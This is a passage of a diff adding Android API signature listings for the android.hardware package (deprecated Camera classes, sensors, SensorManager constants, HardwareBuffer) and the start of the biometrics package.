+    field @Deprecated public android.graphics.Rect rect;
+    field @Deprecated public int weight;
+  }
+
+  @Deprecated public static interface Camera.AutoFocusCallback {
+    method @Deprecated public void onAutoFocus(boolean, android.hardware.Camera);
+  }
+
+  @Deprecated public static interface Camera.AutoFocusMoveCallback {
+    method @Deprecated public void onAutoFocusMoving(boolean, android.hardware.Camera);
+  }
+
+  @Deprecated public static class Camera.CameraInfo {
+    ctor @Deprecated public Camera.CameraInfo();
+    field @Deprecated public static final int CAMERA_FACING_BACK = 0; // 0x0
+    field @Deprecated public static final int CAMERA_FACING_FRONT = 1; // 0x1
+    field @Deprecated public boolean canDisableShutterSound;
+    field @Deprecated public int facing;
+    field @Deprecated public int orientation;
+  }
+
+  @Deprecated public static interface Camera.ErrorCallback {
+    method @Deprecated public void onError(int, android.hardware.Camera);
+  }
+
+  @Deprecated public static class Camera.Face {
+    ctor @Deprecated public Camera.Face();
+    field @Deprecated public int id;
+    field @Deprecated public android.graphics.Point leftEye;
+    field @Deprecated public android.graphics.Point mouth;
+    field @Deprecated public android.graphics.Rect rect;
+    field @Deprecated public android.graphics.Point rightEye;
+    field @Deprecated public int score;
+  }
+
+  @Deprecated public static interface Camera.FaceDetectionListener {
+    method @Deprecated public void onFaceDetection(android.hardware.Camera.Face[], android.hardware.Camera);
+  }
+
+  @Deprecated public static interface Camera.OnZoomChangeListener {
+    method @Deprecated public void onZoomChange(int, boolean, android.hardware.Camera);
+  }
+
+  @Deprecated public class Camera.Parameters {
+    method @Deprecated public String flatten();
+    method @Deprecated public String get(String);
+    method @Deprecated public String getAntibanding();
+    method @Deprecated public boolean getAutoExposureLock();
+    method @Deprecated public boolean getAutoWhiteBalanceLock();
+    method @Deprecated public String getColorEffect();
+    method @Deprecated public int getExposureCompensation();
+    method @Deprecated public float getExposureCompensationStep();
+    method @Deprecated public String getFlashMode();
+    method @Deprecated public float getFocalLength();
+    method @Deprecated public java.util.List<android.hardware.Camera.Area> getFocusAreas();
+    method @Deprecated public void getFocusDistances(float[]);
+    method @Deprecated public String getFocusMode();
+    method @Deprecated public float getHorizontalViewAngle();
+    method @Deprecated public int getInt(String);
+    method @Deprecated public int getJpegQuality();
+    method @Deprecated public int getJpegThumbnailQuality();
+    method @Deprecated public android.hardware.Camera.Size getJpegThumbnailSize();
+    method @Deprecated public int getMaxExposureCompensation();
+    method @Deprecated public int getMaxNumDetectedFaces();
+    method @Deprecated public int getMaxNumFocusAreas();
+    method @Deprecated public int getMaxNumMeteringAreas();
+    method @Deprecated public int getMaxZoom();
+    method @Deprecated public java.util.List<android.hardware.Camera.Area> getMeteringAreas();
+    method @Deprecated public int getMinExposureCompensation();
+    method @Deprecated public int getPictureFormat();
+    method @Deprecated public android.hardware.Camera.Size getPictureSize();
+    method @Deprecated public android.hardware.Camera.Size getPreferredPreviewSizeForVideo();
+    method @Deprecated public int getPreviewFormat();
+    method @Deprecated public void getPreviewFpsRange(int[]);
+    method @Deprecated public int getPreviewFrameRate();
+    method @Deprecated public android.hardware.Camera.Size getPreviewSize();
+    method @Deprecated public String getSceneMode();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedAntibanding();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedColorEffects();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedFlashModes();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedFocusModes();
+    method @Deprecated public java.util.List<android.hardware.Camera.Size> getSupportedJpegThumbnailSizes();
+    method @Deprecated public java.util.List<java.lang.Integer> getSupportedPictureFormats();
+    method @Deprecated public java.util.List<android.hardware.Camera.Size> getSupportedPictureSizes();
+    method @Deprecated public java.util.List<java.lang.Integer> getSupportedPreviewFormats();
+    method @Deprecated public java.util.List<int[]> getSupportedPreviewFpsRange();
+    method @Deprecated public java.util.List<java.lang.Integer> getSupportedPreviewFrameRates();
+    method @Deprecated public java.util.List<android.hardware.Camera.Size> getSupportedPreviewSizes();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedSceneModes();
+    method @Deprecated public java.util.List<android.hardware.Camera.Size> getSupportedVideoSizes();
+    method @Deprecated public java.util.List<java.lang.String> getSupportedWhiteBalance();
+    method @Deprecated public float getVerticalViewAngle();
+    method @Deprecated public boolean getVideoStabilization();
+    method @Deprecated public String getWhiteBalance();
+    method @Deprecated public int getZoom();
+    method @Deprecated public java.util.List<java.lang.Integer> getZoomRatios();
+    method @Deprecated public boolean isAutoExposureLockSupported();
+    method @Deprecated public boolean isAutoWhiteBalanceLockSupported();
+    method @Deprecated public boolean isSmoothZoomSupported();
+    method @Deprecated public boolean isVideoSnapshotSupported();
+    method @Deprecated public boolean isVideoStabilizationSupported();
+    method @Deprecated public boolean isZoomSupported();
+    method @Deprecated public void remove(String);
+    method @Deprecated public void removeGpsData();
+    method @Deprecated public void set(String, String);
+    method @Deprecated public void set(String, int);
+    method @Deprecated public void setAntibanding(String);
+    method @Deprecated public void setAutoExposureLock(boolean);
+    method @Deprecated public void setAutoWhiteBalanceLock(boolean);
+    method @Deprecated public void setColorEffect(String);
+    method @Deprecated public void setExposureCompensation(int);
+    method @Deprecated public void setFlashMode(String);
+    method @Deprecated public void setFocusAreas(java.util.List<android.hardware.Camera.Area>);
+    method @Deprecated public void setFocusMode(String);
+    method @Deprecated public void setGpsAltitude(double);
+    method @Deprecated public void setGpsLatitude(double);
+    method @Deprecated public void setGpsLongitude(double);
+    method @Deprecated public void setGpsProcessingMethod(String);
+    method @Deprecated public void setGpsTimestamp(long);
+    method @Deprecated public void setJpegQuality(int);
+    method @Deprecated public void setJpegThumbnailQuality(int);
+    method @Deprecated public void setJpegThumbnailSize(int, int);
+    method @Deprecated public void setMeteringAreas(java.util.List<android.hardware.Camera.Area>);
+    method @Deprecated public void setPictureFormat(int);
+    method @Deprecated public void setPictureSize(int, int);
+    method @Deprecated public void setPreviewFormat(int);
+    method @Deprecated public void setPreviewFpsRange(int, int);
+    method @Deprecated public void setPreviewFrameRate(int);
+    method @Deprecated public void setPreviewSize(int, int);
+    method @Deprecated public void setRecordingHint(boolean);
+    method @Deprecated public void setRotation(int);
+    method @Deprecated public void setSceneMode(String);
+    method @Deprecated public void setVideoStabilization(boolean);
+    method @Deprecated public void setWhiteBalance(String);
+    method @Deprecated public void setZoom(int);
+    method @Deprecated public void unflatten(String);
+    field @Deprecated public static final String ANTIBANDING_50HZ = "50hz";
+    field @Deprecated public static final String ANTIBANDING_60HZ = "60hz";
+    field @Deprecated public static final String ANTIBANDING_AUTO = "auto";
+    field @Deprecated public static final String ANTIBANDING_OFF = "off";
+    field @Deprecated public static final String EFFECT_AQUA = "aqua";
+    field @Deprecated public static final String EFFECT_BLACKBOARD = "blackboard";
+    field @Deprecated public static final String EFFECT_MONO = "mono";
+    field @Deprecated public static final String EFFECT_NEGATIVE = "negative";
+    field @Deprecated public static final String EFFECT_NONE = "none";
+    field @Deprecated public static final String EFFECT_POSTERIZE = "posterize";
+    field @Deprecated public static final String EFFECT_SEPIA = "sepia";
+    field @Deprecated public static final String EFFECT_SOLARIZE = "solarize";
+    field @Deprecated public static final String EFFECT_WHITEBOARD = "whiteboard";
+    field @Deprecated public static final String FLASH_MODE_AUTO = "auto";
+    field @Deprecated public static final String FLASH_MODE_OFF = "off";
+    field @Deprecated public static final String FLASH_MODE_ON = "on";
+    field @Deprecated public static final String FLASH_MODE_RED_EYE = "red-eye";
+    field @Deprecated public static final String FLASH_MODE_TORCH = "torch";
+    field @Deprecated public static final int FOCUS_DISTANCE_FAR_INDEX = 2; // 0x2
+    field @Deprecated public static final int FOCUS_DISTANCE_NEAR_INDEX = 0; // 0x0
+    field @Deprecated public static final int FOCUS_DISTANCE_OPTIMAL_INDEX = 1; // 0x1
+    field @Deprecated public static final String FOCUS_MODE_AUTO = "auto";
+    field @Deprecated public static final String FOCUS_MODE_CONTINUOUS_PICTURE = "continuous-picture";
+    field @Deprecated public static final String FOCUS_MODE_CONTINUOUS_VIDEO = "continuous-video";
+    field @Deprecated public static final String FOCUS_MODE_EDOF = "edof";
+    field @Deprecated public static final String FOCUS_MODE_FIXED = "fixed";
+    field @Deprecated public static final String FOCUS_MODE_INFINITY = "infinity";
+    field @Deprecated public static final String FOCUS_MODE_MACRO = "macro";
+    field @Deprecated public static final int PREVIEW_FPS_MAX_INDEX = 1; // 0x1
+    field @Deprecated public static final int PREVIEW_FPS_MIN_INDEX = 0; // 0x0
+    field @Deprecated public static final String SCENE_MODE_ACTION = "action";
+    field @Deprecated public static final String SCENE_MODE_AUTO = "auto";
+    field @Deprecated public static final String SCENE_MODE_BARCODE = "barcode";
+    field @Deprecated public static final String SCENE_MODE_BEACH = "beach";
+    field @Deprecated public static final String SCENE_MODE_CANDLELIGHT = "candlelight";
+    field @Deprecated public static final String SCENE_MODE_FIREWORKS = "fireworks";
+    field @Deprecated public static final String SCENE_MODE_HDR = "hdr";
+    field @Deprecated public static final String SCENE_MODE_LANDSCAPE = "landscape";
+    field @Deprecated public static final String SCENE_MODE_NIGHT = "night";
+    field @Deprecated public static final String SCENE_MODE_NIGHT_PORTRAIT = "night-portrait";
+    field @Deprecated public static final String SCENE_MODE_PARTY = "party";
+    field @Deprecated public static final String SCENE_MODE_PORTRAIT = "portrait";
+    field @Deprecated public static final String SCENE_MODE_SNOW = "snow";
+    field @Deprecated public static final String SCENE_MODE_SPORTS = "sports";
+    field @Deprecated public static final String SCENE_MODE_STEADYPHOTO = "steadyphoto";
+    field @Deprecated public static final String SCENE_MODE_SUNSET = "sunset";
+    field @Deprecated public static final String SCENE_MODE_THEATRE = "theatre";
+    field @Deprecated public static final String WHITE_BALANCE_AUTO = "auto";
+    field @Deprecated public static final String WHITE_BALANCE_CLOUDY_DAYLIGHT = "cloudy-daylight";
+    field @Deprecated public static final String WHITE_BALANCE_DAYLIGHT = "daylight";
+    field @Deprecated public static final String WHITE_BALANCE_FLUORESCENT = "fluorescent";
+    field @Deprecated public static final String WHITE_BALANCE_INCANDESCENT = "incandescent";
+    field @Deprecated public static final String WHITE_BALANCE_SHADE = "shade";
+    field @Deprecated public static final String WHITE_BALANCE_TWILIGHT = "twilight";
+    field @Deprecated public static final String WHITE_BALANCE_WARM_FLUORESCENT = "warm-fluorescent";
+  }
+
+  @Deprecated public static interface Camera.PictureCallback {
+    method @Deprecated public void onPictureTaken(byte[], android.hardware.Camera);
+  }
+
+  @Deprecated public static interface Camera.PreviewCallback {
+    method @Deprecated public void onPreviewFrame(byte[], android.hardware.Camera);
+  }
+
+  @Deprecated public static interface Camera.ShutterCallback {
+    method @Deprecated public void onShutter();
+  }
+
+  @Deprecated public class Camera.Size {
+    ctor @Deprecated public Camera.Size(int, int);
+    field @Deprecated public int height;
+    field @Deprecated public int width;
+  }
+
+  public final class ConsumerIrManager {
+    method public android.hardware.ConsumerIrManager.CarrierFrequencyRange[] getCarrierFrequencies();
+    method public boolean hasIrEmitter();
+    method public void transmit(int, int[]);
+  }
+
+  public final class ConsumerIrManager.CarrierFrequencyRange {
+    ctor public ConsumerIrManager.CarrierFrequencyRange(int, int);
+    method public int getMaxFrequency();
+    method public int getMinFrequency();
+  }
+
+  public class GeomagneticField {
+    ctor public GeomagneticField(float, float, float, long);
+    method public float getDeclination();
+    method public float getFieldStrength();
+    method public float getHorizontalStrength();
+    method public float getInclination();
+    method public float getX();
+    method public float getY();
+    method public float getZ();
+  }
+
+  public final class HardwareBuffer implements java.lang.AutoCloseable android.os.Parcelable {
+    method public void close();
+    method @NonNull public static android.hardware.HardwareBuffer create(@IntRange(from=1) int, @IntRange(from=1) int, int, @IntRange(from=1) int, long);
+    method public int describeContents();
+    method public int getFormat();
+    method public int getHeight();
+    method public int getLayers();
+    method public long getUsage();
+    method public int getWidth();
+    method public boolean isClosed();
+    method public static boolean isSupported(@IntRange(from=1) int, @IntRange(from=1) int, int, @IntRange(from=1) int, long);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int BLOB = 33; // 0x21
+    field @NonNull public static final android.os.Parcelable.Creator<android.hardware.HardwareBuffer> CREATOR;
+    field public static final int DS_24UI8 = 50; // 0x32
+    field public static final int DS_FP32UI8 = 52; // 0x34
+    field public static final int D_16 = 48; // 0x30
+    field public static final int D_24 = 49; // 0x31
+    field public static final int D_FP32 = 51; // 0x33
+    field public static final int RGBA_1010102 = 43; // 0x2b
+    field public static final int RGBA_8888 = 1; // 0x1
+    field public static final int RGBA_FP16 = 22; // 0x16
+    field public static final int RGBX_8888 = 2; // 0x2
+    field public static final int RGB_565 = 4; // 0x4
+    field public static final int RGB_888 = 3; // 0x3
+    field public static final int S_UI8 = 53; // 0x35
+    field public static final long USAGE_CPU_READ_OFTEN = 3L; // 0x3L
+    field public static final long USAGE_CPU_READ_RARELY = 2L; // 0x2L
+    field public static final long USAGE_CPU_WRITE_OFTEN = 48L; // 0x30L
+    field public static final long USAGE_CPU_WRITE_RARELY = 32L; // 0x20L
+    field public static final long USAGE_GPU_COLOR_OUTPUT = 512L; // 0x200L
+    field public static final long USAGE_GPU_CUBE_MAP = 33554432L; // 0x2000000L
+    field public static final long USAGE_GPU_DATA_BUFFER = 16777216L; // 0x1000000L
+    field public static final long USAGE_GPU_MIPMAP_COMPLETE = 67108864L; // 0x4000000L
+    field public static final long USAGE_GPU_SAMPLED_IMAGE = 256L; // 0x100L
+    field public static final long USAGE_PROTECTED_CONTENT = 16384L; // 0x4000L
+    field public static final long USAGE_SENSOR_DIRECT_DATA = 8388608L; // 0x800000L
+    field public static final long USAGE_VIDEO_ENCODE = 65536L; // 0x10000L
+    field public static final int YCBCR_420_888 = 35; // 0x23
+  }
+
+  public final class Sensor {
+    method public int getFifoMaxEventCount();
+    method public int getFifoReservedEventCount();
+    method public int getHighestDirectReportRateLevel();
+    method public int getId();
+    method public int getMaxDelay();
+    method public float getMaximumRange();
+    method public int getMinDelay();
+    method public String getName();
+    method public float getPower();
+    method public int getReportingMode();
+    method public float getResolution();
+    method public String getStringType();
+    method public int getType();
+    method public String getVendor();
+    method public int getVersion();
+    method public boolean isAdditionalInfoSupported();
+    method public boolean isDirectChannelTypeSupported(int);
+    method public boolean isDynamicSensor();
+    method public boolean isWakeUpSensor();
+    field public static final int REPORTING_MODE_CONTINUOUS = 0; // 0x0
+    field public static final int REPORTING_MODE_ONE_SHOT = 2; // 0x2
+    field public static final int REPORTING_MODE_ON_CHANGE = 1; // 0x1
+    field public static final int REPORTING_MODE_SPECIAL_TRIGGER = 3; // 0x3
+    field public static final String STRING_TYPE_ACCELEROMETER = "android.sensor.accelerometer";
+    field public static final String STRING_TYPE_ACCELEROMETER_UNCALIBRATED = "android.sensor.accelerometer_uncalibrated";
+    field public static final String STRING_TYPE_AMBIENT_TEMPERATURE = "android.sensor.ambient_temperature";
+    field public static final String STRING_TYPE_GAME_ROTATION_VECTOR = "android.sensor.game_rotation_vector";
+    field public static final String STRING_TYPE_GEOMAGNETIC_ROTATION_VECTOR = "android.sensor.geomagnetic_rotation_vector";
+    field public static final String STRING_TYPE_GRAVITY = "android.sensor.gravity";
+    field public static final String STRING_TYPE_GYROSCOPE = "android.sensor.gyroscope";
+    field public static final String STRING_TYPE_GYROSCOPE_UNCALIBRATED = "android.sensor.gyroscope_uncalibrated";
+    field public static final String STRING_TYPE_HEART_BEAT = "android.sensor.heart_beat";
+    field public static final String STRING_TYPE_HEART_RATE = "android.sensor.heart_rate";
+    field public static final String STRING_TYPE_HINGE_ANGLE = "android.sensor.hinge_angle";
+    field public static final String STRING_TYPE_LIGHT = "android.sensor.light";
+    field public static final String STRING_TYPE_LINEAR_ACCELERATION = "android.sensor.linear_acceleration";
+    field public static final String STRING_TYPE_LOW_LATENCY_OFFBODY_DETECT = "android.sensor.low_latency_offbody_detect";
+    field public static final String STRING_TYPE_MAGNETIC_FIELD = "android.sensor.magnetic_field";
+    field public static final String STRING_TYPE_MAGNETIC_FIELD_UNCALIBRATED = "android.sensor.magnetic_field_uncalibrated";
+    field public static final String STRING_TYPE_MOTION_DETECT = "android.sensor.motion_detect";
+    field @Deprecated public static final String STRING_TYPE_ORIENTATION = "android.sensor.orientation";
+    field public static final String STRING_TYPE_POSE_6DOF = "android.sensor.pose_6dof";
+    field public static final String STRING_TYPE_PRESSURE = "android.sensor.pressure";
+    field public static final String STRING_TYPE_PROXIMITY = "android.sensor.proximity";
+    field public static final String STRING_TYPE_RELATIVE_HUMIDITY = "android.sensor.relative_humidity";
+    field public static final String STRING_TYPE_ROTATION_VECTOR = "android.sensor.rotation_vector";
+    field public static final String STRING_TYPE_SIGNIFICANT_MOTION = "android.sensor.significant_motion";
+    field public static final String STRING_TYPE_STATIONARY_DETECT = "android.sensor.stationary_detect";
+    field public static final String STRING_TYPE_STEP_COUNTER = "android.sensor.step_counter";
+    field public static final String STRING_TYPE_STEP_DETECTOR = "android.sensor.step_detector";
+    field @Deprecated public static final String STRING_TYPE_TEMPERATURE = "android.sensor.temperature";
+    field public static final int TYPE_ACCELEROMETER = 1; // 0x1
+    field public static final int TYPE_ACCELEROMETER_UNCALIBRATED = 35; // 0x23
+    field public static final int TYPE_ALL = -1; // 0xffffffff
+    field public static final int TYPE_AMBIENT_TEMPERATURE = 13; // 0xd
+    field public static final int TYPE_DEVICE_PRIVATE_BASE = 65536; // 0x10000
+    field public static final int TYPE_GAME_ROTATION_VECTOR = 15; // 0xf
+    field public static final int TYPE_GEOMAGNETIC_ROTATION_VECTOR = 20; // 0x14
+    field public static final int TYPE_GRAVITY = 9; // 0x9
+    field public static final int TYPE_GYROSCOPE = 4; // 0x4
+    field public static final int TYPE_GYROSCOPE_UNCALIBRATED = 16; // 0x10
+    field public static final int TYPE_HEART_BEAT = 31; // 0x1f
+    field public static final int TYPE_HEART_RATE = 21; // 0x15
+    field public static final int TYPE_HINGE_ANGLE = 36; // 0x24
+    field public static final int TYPE_LIGHT = 5; // 0x5
+    field public static final int TYPE_LINEAR_ACCELERATION = 10; // 0xa
+    field public static final int TYPE_LOW_LATENCY_OFFBODY_DETECT = 34; // 0x22
+    field public static final int TYPE_MAGNETIC_FIELD = 2; // 0x2
+    field public static final int TYPE_MAGNETIC_FIELD_UNCALIBRATED = 14; // 0xe
+    field public static final int TYPE_MOTION_DETECT = 30; // 0x1e
+    field @Deprecated public static final int TYPE_ORIENTATION = 3; // 0x3
+    field public static final int TYPE_POSE_6DOF = 28; // 0x1c
+    field public static final int TYPE_PRESSURE = 6; // 0x6
+    field public static final int TYPE_PROXIMITY = 8; // 0x8
+    field public static final int TYPE_RELATIVE_HUMIDITY = 12; // 0xc
+    field public static final int TYPE_ROTATION_VECTOR = 11; // 0xb
+    field public static final int TYPE_SIGNIFICANT_MOTION = 17; // 0x11
+    field public static final int TYPE_STATIONARY_DETECT = 29; // 0x1d
+    field public static final int TYPE_STEP_COUNTER = 19; // 0x13
+    field public static final int TYPE_STEP_DETECTOR = 18; // 0x12
+    field @Deprecated public static final int TYPE_TEMPERATURE = 7; // 0x7
+  }
+
+  public class SensorAdditionalInfo {
+    field public static final int TYPE_FRAME_BEGIN = 0; // 0x0
+    field public static final int TYPE_FRAME_END = 1; // 0x1
+    field public static final int TYPE_INTERNAL_TEMPERATURE = 65537; // 0x10001
+    field public static final int TYPE_SAMPLING = 65540; // 0x10004
+    field public static final int TYPE_SENSOR_PLACEMENT = 65539; // 0x10003
+    field public static final int TYPE_UNTRACKED_DELAY = 65536; // 0x10000
+    field public static final int TYPE_VEC3_CALIBRATION = 65538; // 0x10002
+    field public final float[] floatValues;
+    field public final int[] intValues;
+    field public final android.hardware.Sensor sensor;
+    field public final int serial;
+    field public final int type;
+  }
+
+  public final class SensorDirectChannel implements java.nio.channels.Channel {
+    method public void close();
+    method public int configure(android.hardware.Sensor, int);
+    method public boolean isOpen();
+    field public static final int RATE_FAST = 2; // 0x2
+    field public static final int RATE_NORMAL = 1; // 0x1
+    field public static final int RATE_STOP = 0; // 0x0
+    field public static final int RATE_VERY_FAST = 3; // 0x3
+    field public static final int TYPE_HARDWARE_BUFFER = 2; // 0x2
+    field public static final int TYPE_MEMORY_FILE = 1; // 0x1
+  }
+
+  public class SensorEvent {
+    field public int accuracy;
+    field public android.hardware.Sensor sensor;
+    field public long timestamp;
+    field public final float[] values;
+  }
+
+  public abstract class SensorEventCallback implements android.hardware.SensorEventListener2 {
+    ctor public SensorEventCallback();
+    method public void onAccuracyChanged(android.hardware.Sensor, int);
+    method public void onFlushCompleted(android.hardware.Sensor);
+    method public void onSensorAdditionalInfo(android.hardware.SensorAdditionalInfo);
+    method public void onSensorChanged(android.hardware.SensorEvent);
+  }
+
+  public interface SensorEventListener {
+    method public void onAccuracyChanged(android.hardware.Sensor, int);
+    method public void onSensorChanged(android.hardware.SensorEvent);
+  }
+
+  public interface SensorEventListener2 extends android.hardware.SensorEventListener {
+    method public void onFlushCompleted(android.hardware.Sensor);
+  }
+
+  @Deprecated public interface SensorListener {
+    method @Deprecated public void onAccuracyChanged(int, int);
+    method @Deprecated public void onSensorChanged(int, float[]);
+  }
+
+  public abstract class SensorManager {
+    method public boolean cancelTriggerSensor(android.hardware.TriggerEventListener, android.hardware.Sensor);
+    method public android.hardware.SensorDirectChannel createDirectChannel(android.os.MemoryFile);
+    method public android.hardware.SensorDirectChannel createDirectChannel(android.hardware.HardwareBuffer);
+    method public boolean flush(android.hardware.SensorEventListener);
+    method public static float getAltitude(float, float);
+    method public static void getAngleChange(float[], float[], float[]);
+    method public android.hardware.Sensor getDefaultSensor(int);
+    method public android.hardware.Sensor getDefaultSensor(int, boolean);
+    method public java.util.List<android.hardware.Sensor> getDynamicSensorList(int);
+    method public static float getInclination(float[]);
+    method public static float[] getOrientation(float[], float[]);
+    method public static void getQuaternionFromVector(float[], float[]);
+    method public static boolean getRotationMatrix(float[], float[], float[], float[]);
+    method public static void getRotationMatrixFromVector(float[], float[]);
+    method public java.util.List<android.hardware.Sensor> getSensorList(int);
+    method @Deprecated public int getSensors();
+    method public boolean isDynamicSensorDiscoverySupported();
+    method public void registerDynamicSensorCallback(android.hardware.SensorManager.DynamicSensorCallback);
+    method public void registerDynamicSensorCallback(android.hardware.SensorManager.DynamicSensorCallback, android.os.Handler);
+    method @Deprecated public boolean registerListener(android.hardware.SensorListener, int);
+    method @Deprecated public boolean registerListener(android.hardware.SensorListener, int, int);
+    method public boolean registerListener(android.hardware.SensorEventListener, android.hardware.Sensor, int);
+    method public boolean registerListener(android.hardware.SensorEventListener, android.hardware.Sensor, int, int);
+    method public boolean registerListener(android.hardware.SensorEventListener, android.hardware.Sensor, int, android.os.Handler);
+    method public boolean registerListener(android.hardware.SensorEventListener, android.hardware.Sensor, int, int, android.os.Handler);
+    method public static boolean remapCoordinateSystem(float[], int, int, float[]);
+    method public boolean requestTriggerSensor(android.hardware.TriggerEventListener, android.hardware.Sensor);
+    method public void unregisterDynamicSensorCallback(android.hardware.SensorManager.DynamicSensorCallback);
+    method @Deprecated public void unregisterListener(android.hardware.SensorListener);
+    method @Deprecated public void unregisterListener(android.hardware.SensorListener, int);
+    method public void unregisterListener(android.hardware.SensorEventListener, android.hardware.Sensor);
+    method public void unregisterListener(android.hardware.SensorEventListener);
+    field public static final int AXIS_MINUS_X = 129; // 0x81
+    field public static final int AXIS_MINUS_Y = 130; // 0x82
+    field public static final int AXIS_MINUS_Z = 131; // 0x83
+    field public static final int AXIS_X = 1; // 0x1
+    field public static final int AXIS_Y = 2; // 0x2
+    field public static final int AXIS_Z = 3; // 0x3
+    field @Deprecated public static final int DATA_X = 0; // 0x0
+    field @Deprecated public static final int DATA_Y = 1; // 0x1
+    field @Deprecated public static final int DATA_Z = 2; // 0x2
+    field public static final float GRAVITY_DEATH_STAR_I = 3.5303614E-7f;
+    field public static final float GRAVITY_EARTH = 9.80665f;
+    field public static final float GRAVITY_JUPITER = 23.12f;
+    field public static final float GRAVITY_MARS = 3.71f;
+    field public static final float GRAVITY_MERCURY = 3.7f;
+    field public static final float GRAVITY_MOON = 1.6f;
+    field public static final float GRAVITY_NEPTUNE = 11.0f;
+    field public static final float GRAVITY_PLUTO = 0.6f;
+    field public static final float GRAVITY_SATURN = 8.96f;
+    field public static final float GRAVITY_SUN = 275.0f;
+    field public static final float GRAVITY_THE_ISLAND = 4.815162f;
+    field public static final float GRAVITY_URANUS = 8.69f;
+    field public static final float GRAVITY_VENUS = 8.87f;
+    field public static final float LIGHT_CLOUDY = 100.0f;
+    field public static final float LIGHT_FULLMOON = 0.25f;
+    field public static final float LIGHT_NO_MOON = 0.001f;
+    field public static final float LIGHT_OVERCAST = 10000.0f;
+    field public static final float LIGHT_SHADE = 20000.0f;
+    field public static final float LIGHT_SUNLIGHT = 110000.0f;
+    field public static final float LIGHT_SUNLIGHT_MAX = 120000.0f;
+    field public static final float LIGHT_SUNRISE = 400.0f;
+    field public static final float MAGNETIC_FIELD_EARTH_MAX = 60.0f;
+    field public static final float MAGNETIC_FIELD_EARTH_MIN = 30.0f;
+    field public static final float PRESSURE_STANDARD_ATMOSPHERE = 1013.25f;
+    field @Deprecated public static final int RAW_DATA_INDEX = 3; // 0x3
+    field @Deprecated public static final int RAW_DATA_X = 3; // 0x3
+    field @Deprecated public static final int RAW_DATA_Y = 4; // 0x4
+    field @Deprecated public static final int RAW_DATA_Z = 5; // 0x5
+    field @Deprecated public static final int SENSOR_ACCELEROMETER = 2; // 0x2
+    field @Deprecated public static final int SENSOR_ALL = 127; // 0x7f
+    field public static final int SENSOR_DELAY_FASTEST = 0; // 0x0
+    field public static final int SENSOR_DELAY_GAME = 1; // 0x1
+    field public static final int SENSOR_DELAY_NORMAL = 3; // 0x3
+    field public static final int SENSOR_DELAY_UI = 2; // 0x2
+    field @Deprecated public static final int SENSOR_LIGHT = 16; // 0x10
+    field @Deprecated public static final int SENSOR_MAGNETIC_FIELD = 8; // 0x8
+    field @Deprecated public static final int SENSOR_MAX = 64; // 0x40
+    field @Deprecated public static final int SENSOR_MIN = 1; // 0x1
+    field @Deprecated public static final int SENSOR_ORIENTATION = 1; // 0x1
+    field @Deprecated public static final int SENSOR_ORIENTATION_RAW = 128; // 0x80
+    field @Deprecated public static final int SENSOR_PROXIMITY = 32; // 0x20
+    field public static final int SENSOR_STATUS_ACCURACY_HIGH = 3; // 0x3
+    field public static final int SENSOR_STATUS_ACCURACY_LOW = 1; // 0x1
+    field public static final int SENSOR_STATUS_ACCURACY_MEDIUM = 2; // 0x2
+    field public static final int SENSOR_STATUS_NO_CONTACT = -1; // 0xffffffff
+    field public static final int SENSOR_STATUS_UNRELIABLE = 0; // 0x0
+    field @Deprecated public static final int SENSOR_TEMPERATURE = 4; // 0x4
+    field @Deprecated public static final int SENSOR_TRICORDER = 64; // 0x40
+    field public static final float STANDARD_GRAVITY = 9.80665f;
+  }
+
+  public abstract static class SensorManager.DynamicSensorCallback {
+    ctor public SensorManager.DynamicSensorCallback();
+    method public void onDynamicSensorConnected(android.hardware.Sensor);
+    method public void onDynamicSensorDisconnected(android.hardware.Sensor);
+  }
+
+  public final class SensorPrivacyManager {
+    method public boolean supportsSensorToggle(int);
+  }
+
+  public static class SensorPrivacyManager.Sensors {
+    field public static final int CAMERA = 2; // 0x2
+    field public static final int MICROPHONE = 1; // 0x1
+  }
+
+  public final class TriggerEvent {
+    field public android.hardware.Sensor sensor;
+    field public long timestamp;
+    field public final float[] values;
+  }
+
+  public abstract class TriggerEventListener {
+    ctor public TriggerEventListener();
+    method public abstract void onTrigger(android.hardware.TriggerEvent);
+  }
+
+}
+
+package android.hardware.biometrics {
+
+  public class BiometricManager {
+    method @Deprecated @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public int canAuthenticate();
+    method @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public int canAuthenticate(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public android.hardware.biometrics.BiometricManager.Strings getStrings(int);
+    field public static final int BIOMETRIC_ERROR_HW_UNAVAILABLE = 1; // 0x1
+    field public static final int BIOMETRIC_ERROR_NONE_ENROLLED = 11; // 0xb
+    field public static final int BIOMETRIC_ERROR_NO_HARDWARE = 12; // 0xc
+    field public static final int BIOMETRIC_ERROR_SECURITY_UPDATE_REQUIRED = 15; // 0xf
+    field public static final int BIOMETRIC_SUCCESS = 0; // 0x0
+  }
+
+  public static interface BiometricManager.Authenticators {
+    field public static final int BIOMETRIC_STRONG = 15; // 0xf
+    field public static final int BIOMETRIC_WEAK = 255; // 0xff
+    field public static final int DEVICE_CREDENTIAL = 32768; // 0x8000
+  }
+
+  public static class BiometricManager.Strings {
+    method @Nullable @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public CharSequence getButtonLabel();
+    method @Nullable @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public CharSequence getPromptMessage();
+    method @Nullable @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public CharSequence getSettingName();
+  }
+
+  public class BiometricPrompt {
+    method @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public void authenticate(@NonNull android.hardware.biometrics.BiometricPrompt.CryptoObject, @NonNull android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.biometrics.BiometricPrompt.AuthenticationCallback);
+    method @RequiresPermission(android.Manifest.permission.USE_BIOMETRIC) public void authenticate(@NonNull android.os.CancellationSignal, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.biometrics.BiometricPrompt.AuthenticationCallback);
+    method @Nullable public int getAllowedAuthenticators();
+    method @Nullable public CharSequence getDescription();
+    method @Nullable public CharSequence getNegativeButtonText();
+    method @Nullable public CharSequence getSubtitle();
+    method @NonNull public CharSequence getTitle();
+    method public boolean isConfirmationRequired();
